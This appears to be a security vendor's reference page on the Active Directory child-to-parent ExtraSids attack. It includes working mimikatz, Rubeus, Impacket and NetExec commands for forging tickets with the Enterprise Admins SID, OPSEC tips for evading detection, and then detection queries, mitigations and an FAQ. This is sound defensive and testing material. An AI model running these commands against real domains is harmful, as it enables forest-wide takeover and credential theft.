1. Resources
  2. Identity Threats
  3. Active Directory

Child-to-Parent Domain Escalation (ExtraSids)

Also known as: ExtraSids attack, Child domain to forest root escalation, raiseChild, Golden ticket with SID history, Domain trust hopping

An attacker who controls a child domain forges a Kerberos ticket that carries the Enterprise Admins SID and uses it to take over the forest root and every other domain.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Tier 0 or tenant admin
Domain Admin level control of one domain in the forest: its krbtgt key (replication rights or a domain controller) or the key of its trust with the parent.
What the attacker gains
Enterprise Admins rights in the forest root, and with them the krbtgt keys of the root and of every other domain in the forest.
Threat groups
AkiraAPT29APT32BlackByteBRONZE BUTLERChimeraEarth LuscaFIN8Ke3changLotus BlossomMagic HoundMirrorFaceStorm-0501Storm-1811Groups that MITRE ATT&CK records using T1134.005, T1558.001, T1558, T1550.003, T1482.

How it works

Domains in one Active Directory forest are joined by two-way transitive trusts. A user of a child domain who wants a service in the parent asks the child's domain controller for a ticket; the child's KDC answers with a referral ticket for the parent's ticket-granting service, encrypted with the trust key the two domains share. The parent's KDC decrypts the referral, reads the authorization data in its privilege attribute certificate (PAC) and issues the service ticket.

The PAC lists the user's SID, the user's groups and a field named ExtraSids for SIDs that are not groups of the account's own domain. A domain controller normally fills that field with universal group memberships and with the account's sIDHistory values. The parent's KDC applies SID filtering to what arrives, but the rules depend on the trust boundary. Inside a forest, SIDs issued by another domain of the same forest are not removed. The forest is the security boundary, and each domain accepts what the others assert.

Enterprise Admins lives in the forest root and has the SID <root domain SID>-519. A child domain's administrators are not members of it. But the child domain's KDC is trusted to state what SIDs a user has, and whoever holds the child's signing keys can state anything. Two keys make that possible:

  • The child domain's krbtgt key. The attacker forges a ticket-granting ticket for the child domain, a Golden Ticket, with the Enterprise Admins SID in ExtraSids. The child's real KDC then issues the referral and copies the SID into it. A Diamond Ticket does the same by modifying a genuine TGT.
  • The trust key. The attacker forges the referral ticket itself and never touches the child's KDC. Because that ticket is not signed with a krbtgt key it is not a Golden Ticket; the details are in forged inter-realm trust tickets.

The same path leads to sibling domains. A ticket that carries Enterprise Admins is honored by every domain of the forest, and the referral is routed through the root.

Prerequisites

  • Control of a domain in the forest at Domain Admin level, enough to read its krbtgt key (replication rights, see DCSync, or access to a domain controller) or the trust key.
  • The SID of the child domain and the SID of the forest root. Both are readable by any authenticated user.
  • Network access to the domain controllers of both domains (Kerberos on port 88, plus the service to be used).
  • A default intra-forest trust. A parent-child trust that has been marked as quarantined filters these SIDs, which is rare in practice.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Map the trust and collect the SIDs

# Trusts of the current domain: direction, whether the partner is in the same forest, filtering state
Get-ADTrust -Filter * | Select-Object Name, Direction, IntraForest, SIDFilteringQuarantined

# SID of the compromised child domain and of the root's Enterprise Admins group
(Get-ADDomain -Identity child.corp.example.com).DomainSID.Value
Get-ADGroup -Identity 'Enterprise Admins' -Server corp.example.com | Select-Object SID

2. Read the child domain's krbtgt key

mimikatz # lsadump::dcsync /domain:child.corp.example.com /user:CHILD\krbtgt
secretsdump.py -just-dc-user krbtgt child.corp.example.com/admin@DC02.child.corp.example.com

3. Forge a TGT with the Enterprise Admins SID in ExtraSids

In the examples, S-1-5-21-1111111111-1111111111-1111111111 is the child domain and S-1-5-21-2222222222-2222222222-2222222222 is the forest root.

mimikatz # kerberos::golden /user:Administrator /domain:child.corp.example.com /sid:S-1-5-21-1111111111-1111111111-1111111111 /krbtgt:<krbtgt_nt_hash> /sids:S-1-5-21-2222222222-2222222222-2222222222-519 /ptt
# Rubeus: forged TGT signed with the child's AES256 krbtgt key
.\Rubeus.exe golden /aes256:<krbtgt_aes256_key> /user:alice /id:1105 /pgid:513 /groups:513 /domain:child.corp.example.com /sid:S-1-5-21-1111111111-1111111111-1111111111 /sids:S-1-5-21-2222222222-2222222222-2222222222-519 /ptt

# Rubeus: diamond variant, a genuine TGT of the current user that is decrypted, changed and re-signed
.\Rubeus.exe diamond /krbkey:<krbtgt_aes256_key> /tgtdeleg /ticketuser:alice /ticketuserid:1105 /groups:513 /sids:S-1-5-21-2222222222-2222222222-2222222222-519 /ptt
# Impacket: writes Administrator.ccache
ticketer.py -nthash <krbtgt_nt_hash> -domain-sid S-1-5-21-1111111111-1111111111-1111111111 -domain child.corp.example.com -extra-sid S-1-5-21-2222222222-2222222222-2222222222-519 Administrator
export KRB5CCNAME=Administrator.ccache

4. Use the ticket against the forest root

With the ticket in the session, any request for a service in the parent domain goes through the normal referral.

dir \\DC01.corp.example.com\C$
mimikatz # lsadump::dcsync /domain:corp.example.com /user:CORP\krbtgt
secretsdump.py -k -no-pass -just-dc-user krbtgt child.corp.example.com/Administrator@DC01.corp.example.com

Automated variants

Impacket raiseChild.py runs the whole chain from child domain administrator credentials: it finds the forest root, looks up the Enterprise Admins SID, reads the child's krbtgt key over replication, forges the ticket with the SID in ExtraSids and reads the target account's credentials from the root (the root's krbtgt and Administrator by default).

# Dump the root's credentials, save the ticket, and open a shell on a root DC
raiseChild.py -w root.ccache -target-exec DC01.corp.example.com child.corp.example.com/admin

NetExec has the same attack as an LDAP module. It saves the forged ticket as <USER>.ccache. Its documentation notes that the impersonated user must exist in both domains and that USER_ID must be the user's RID in the domain the module runs in.

nxc ldap DC02.child.corp.example.com -u admin -p '<password>' -M raisechild -o ETYPE=aes256
export KRB5CCNAME=Administrator.ccache
nxc ldap DC01.corp.example.com --use-kcache

Trust key variant

With the key of the child-to-parent trust in place of the krbtgt key, Rubeus forges the referral ticket and asks the parent's KDC for a service ticket:

.\Rubeus.exe silver /user:alice /ldap /service:krbtgt/corp.example.com /rc4:<trust_key> /sids:S-1-5-21-2222222222-2222222222-2222222222-519 /nowrap
.\Rubeus.exe asktgs /service:cifs/DC01.corp.example.com /dc:DC01.corp.example.com /ptt /ticket:<base64_referral_ticket>

Impact

The attacker acts as an Enterprise Admin: full control of the forest root, of the configuration and schema partitions, and of every domain in the forest. In practice the next step is replication of the root's krbtgt key, after which the attacker can forge tickets for the root directly. This is privilege escalation from one domain to the forest, and it means that a compromise of the least protected domain is a compromise of all of them.

OPSEC and artifacts

  • Nothing is written to the directory. The SID exists only in the ticket. sIDHistory on the account stays empty and no group changes. What remains are the Kerberos and logon events on both sides.
  • Reading the key. Replication of the krbtgt account from a host that is not a domain controller writes event 4662 with the replication rights on the child's DC, where the DCSync rules match it. Operators with a foothold on a child DC read the key locally to avoid this.
  • Ticket lifetime and encryption. Mimikatz writes a ticket lifetime of ten years unless /endin is set, and an RC4 ticket in a domain that issues AES stands out. Careful operators forge with the AES256 key and set the lifetime to the domain's policy. A diamond ticket starts from a real TGT, so its times, flags and encryption match the domain.
  • No matching AS exchange. A forged TGT was never issued, so the child's DC logs service ticket requests in event 4769 for which no event 4768 exists. The diamond variant does have one. The trust key variant leaves nothing at all on the child's domain controllers: the first event is the service ticket request on the parent's DC.
  • Account choice. Forging for the child's Administrator (RID 500) draws attention. A real, enabled low-privilege account with correct RID and groups blends in better, and current domain controllers check that the account in the PAC exists.
  • On the parent side. The service ticket request and the logon are recorded on the root's domain controllers: event 4624 for an account of the child domain, and event 4672 because the session received administrator-level privileges. No SID filtering event is written, because inside a forest nothing is filtered.
  • What follows. Replication of the root's krbtgt by a child-domain account writes event 4662 on the root's DC, and tools such as raiseChild.py -target-exec create a service on the target host.

Detection

  • Privileged logon by an account of another domain. On the root's domain controllers, alert on 4672 where the account's domain is a child domain and the account is not a known member of Enterprise Admins or of the root's Administrators group. This is the most direct signal, because the forged SID has to turn into privileges somewhere.
  • Service tickets without a TGT. The Golden Ticket detection rules and their detection logic cover TGS requests on the child's DCs that no TGT issuance explains.
  • Replication from a non-DC. 4662 with the replication rights for an account that is not a domain controller, in the child (key theft) and in the root (the follow-up).
  • Ticket anomalies. RC4 tickets where AES is the norm and lifetimes beyond the Kerberos policy.
// Root domain controllers: privileged logons by accounts that are not from the root domain
WindowsEvent
| where Channel == "Security" and EventID == 4672
| where Computer endswith ".corp.example.com" and Computer !contains ".child."
| extend Account = tostring(EventData.SubjectUserName), Domain = tostring(EventData.SubjectDomainName),
         Privileges = tostring(EventData.PrivilegeList)
| where Domain !in~ ("CORP", "NT AUTHORITY", "Window Manager", "Font Driver Host")
| where Account !endswith "$"
| project TimeGenerated, Computer, Domain, Account, Privileges

Adjust the domain names to your forest. A child-domain account that legitimately administers the root should be rare enough to list by name.

Mitigation

  • Treat every domain controller in the forest as Tier 0. No setting makes a child domain safe for the root. Protect the child's DCs, their backups and the accounts with replication rights exactly as you protect the root's. The Active Directory hardening guide describes the tiering.
  • Use a separate forest for a separate trust level. If a business unit, a subsidiary or a test environment must not be able to reach the root, it belongs in its own forest behind a filtered trust, not in a child domain.
  • Keep child domains few. Each additional domain adds a krbtgt key and a set of administrators that can take the forest.
  • Rotate krbtgt on a schedule and after any DC compromise, in every domain. The krbtgt password reset guide shows the double reset. After a child domain compromise also reset the trust passwords, because the trust key variant does not depend on krbtgt.
  • Retire RC4 so that forged RC4 tickets stand out or fail; see how to secure Kerberos.
  • Collect Kerberos and logon events from all domains in one place. The evidence is split between the child's and the root's domain controllers, and neither half is conclusive alone.

Detection rules for this attack

Log events to collect

FAQ

Is a child domain a security boundary?

No. The forest is the security boundary in Active Directory. Domains of one forest trust each other's domain controllers, and SID filtering does not remove SIDs issued by another domain of the same forest. Whoever controls one domain's ticket issuer can put the Enterprise Admins SID into a ticket and the forest root honors it.

What does the ExtraSids field have to do with SID history?

ExtraSids is the field of the Kerberos PAC where a domain controller places SIDs that are not groups of the account's own domain, including the values of its sIDHistory attribute. The attack writes a SID into that field of a forged ticket directly. Nothing changes in the directory, so reviews of sIDHistory and of group membership show nothing.

How do I recover after a child domain was compromised?

Scope the incident to the whole forest. Assume the root krbtgt key and the keys of the other domains were read. Reset the krbtgt password twice in every domain, reset the trust passwords, and review every domain for persistence. Cleaning only the child domain leaves the attacker with tickets and keys for the rest of the forest.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.